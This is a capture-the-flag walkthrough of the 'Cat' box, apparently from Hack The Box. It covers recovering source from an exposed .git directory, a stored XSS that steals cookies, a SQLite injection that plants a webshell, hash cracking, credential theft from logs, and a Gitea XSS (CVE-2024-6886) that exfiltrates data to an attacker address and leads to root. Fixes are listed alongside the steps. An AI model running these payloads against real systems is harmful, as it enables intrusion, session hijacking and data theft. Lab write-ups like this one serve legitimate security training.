Cat
Summary
I discovered an exposed .git directory on the cat.htb web application, recovering the full PHP source for a cat-adoption site. Reading the source revealed a two-stage web exploit: a second-order stored XSS in the cat-submission form that stole the administrator's session cookie when reviewed on /admin.php, and a SQL injection in the cat-approval endpoint that let me abuse SQLite's ATTACH DATABASE feature to plant a PHP webshell in the web root, gaining code execution as www-data. From there, MD5 password hashes recovered from the application's SQLite database were cracked to obtain a valid SSH credential for the user rosa, whose adm-group membership exposed Apache access logs containing a second user's (axel) password in cleartext because the login form submitted credentials via GET.
With axel's SSH access, the user flag was captured, and an internal Gitea instance and local SMTP relay reachable only from the box were pivoted to: a stored XSS in Gitea (CVE-2024-6886) was planted in a repository description and triggered by emailing the Gitea admin, exfiltrating a private repository that contained a hardcoded administrator password. That password was reused for the box's root account, giving full root access.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"Some commands also carry a value in angle brackets — <stolen_admin_session> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Resolve the discovered virtual host locally.
$ echo "$TARGET cat.htb" | sudo tee -a /etc/hostsConfirm the .git directory is web-exposed.
$ nmap -sV -p22,80 --script http-git $TARGETRecover the full PHP source tree for offline review.
$ git-dumper http://cat.htb/.git ./cat_srcFixRemove version control metadata from the production web rootHigh
Exact commands 2
Listener to catch the exfiltrated PHPSESSID cookie (run in background).
$ python3 -m http.server 8011Submit the entity-encoded XSS payload via the cat submission form; the payload fires only when the admin later reviews it on /admin.php.
$ curl -sS -H 'Host: cat.htb' -X POST http://$TARGET/ --data-urlencode "cat_name=<img src=x onerror=new Image().src='http://$ATTACKER_IP:8011/?c='+document.cookie>"FixSanitize and encode all user-submitted content before rendering it to administratorsCritical
Exact commands 2
Use the stolen admin session cookie to reach the injectable approval endpoint and write shell.php into the web root.
$ curl -sS -H 'Host: cat.htb' -b 'PHPSESSID=<stolen_admin_session>' --data-urlencode "catName=muffins'); ATTACH DATABASE './shell.php' AS db; CREATE TABLE db.pwn (x text); INSERT INTO db.pwn (x) VALUES (\"<?php system($_GET['cmd']); ?>\");-- -" http://$TARGET/accept_cat.phpConfirm code execution as www-data through the planted webshell.
$ curl -sS --max-time 15 -H 'Host: cat.htb' -D /tmp/shell_headers.txt -o /tmp/shell_body.bin "http://$TARGET/shell.php?cmd=id" && file /tmp/shell_body.bin && strings /tmp/shell_body.bin | tail -10FixUse parameterized queries and remove SQLite ATTACH privileges from the applicationCritical
Exact commands 3
Exfiltrate the SQLite application database through the webshell.
$ curl -sS -H 'Host: cat.htb' "http://$TARGET/shell.php?cmd=cat+/var/www/html/databases/cat.db" -o cat.dbCrack rosa's MD5 hash; recovers <withheld>.
$ hashcat -m 0 $HASH /usr/share/wordlists/rockyou.txtConfirm SSH access as rosa.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 rosa@$TARGET id
uid=1001(rosa) gid=1001(rosa) groups=1001(rosa),4(adm)FixHash stored passwords with a modern salted algorithmHigh
Exact commands 2
Use rosa's adm-group log access to recover axel's cleartext password.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null rosa@$TARGET "grep -h 'loginUsername=axel' /var/log/apache2/access.log* | tail -3"SSH as axel and read the user flag; replace with <user.txt> when reporting.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null axel@$TARGET 'cat /home/axel/user.txt'FixStop submitting credentials via GET and restrict web log accessHigh
Exact commands 3
Tunnel the internal Gitea and SMTP services to my host.
$ sshpass -p "$PASSWORD" ssh -L 3000:localhost:3000 -L 2525:localhost:25 axel@$TARGETCreate a repo whose description holds the CVE-2024-6886 stored-XSS payload targeting the admin's private repo.
$ curl -s -u "axel:$PASSWORD" -X POST http://localhost:3000/api/v1/user/repos -H 'Content-Type: application/json' -d '{"name":"POC","description":"<a href=\"javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(r=>r.text()).then(d=>fetch('http://'"$ATTACKER_IP"'/?e='+btoa(d)));\">Click me!</a>"}'Deliver the link to the Gitea admin via the open local SMTP relay so he views the malicious repo.
$ swaks --to jobert@localhost --from axel@localhost --header 'Subject: New project' --body 'http://localhost:3000/axel/POC' --server 127.0.0.1 -p 2525FixPatch Gitea and restrict the internal SMTP relayCritical
Exact commands 2
Decode the exfiltrated private repo file; contains hardcoded admin's password.
$ echo <base64_exfiltrated_index.php> | base64 -dSSH as axel, su to root with the reused password, confirm uid=0, and read <root.txt>.
$ expect -c 'set timeout 20; spawn ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null axel@'"$TARGET"'; expect "password:"; send "'"$PASSWORD"'\r"; expect "$ "; send "su -\r"; expect "Password:"; send "'"$PASSWORD3"'\r"; expect "# "; send "id\r"; expect "# "; send "cat /root/root.txt\r"; expect "# "; send "exit\r"; expect "$ "; send "exit\r"; expect eof'FixEliminate hardcoded credentials and password reuse across servicesCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.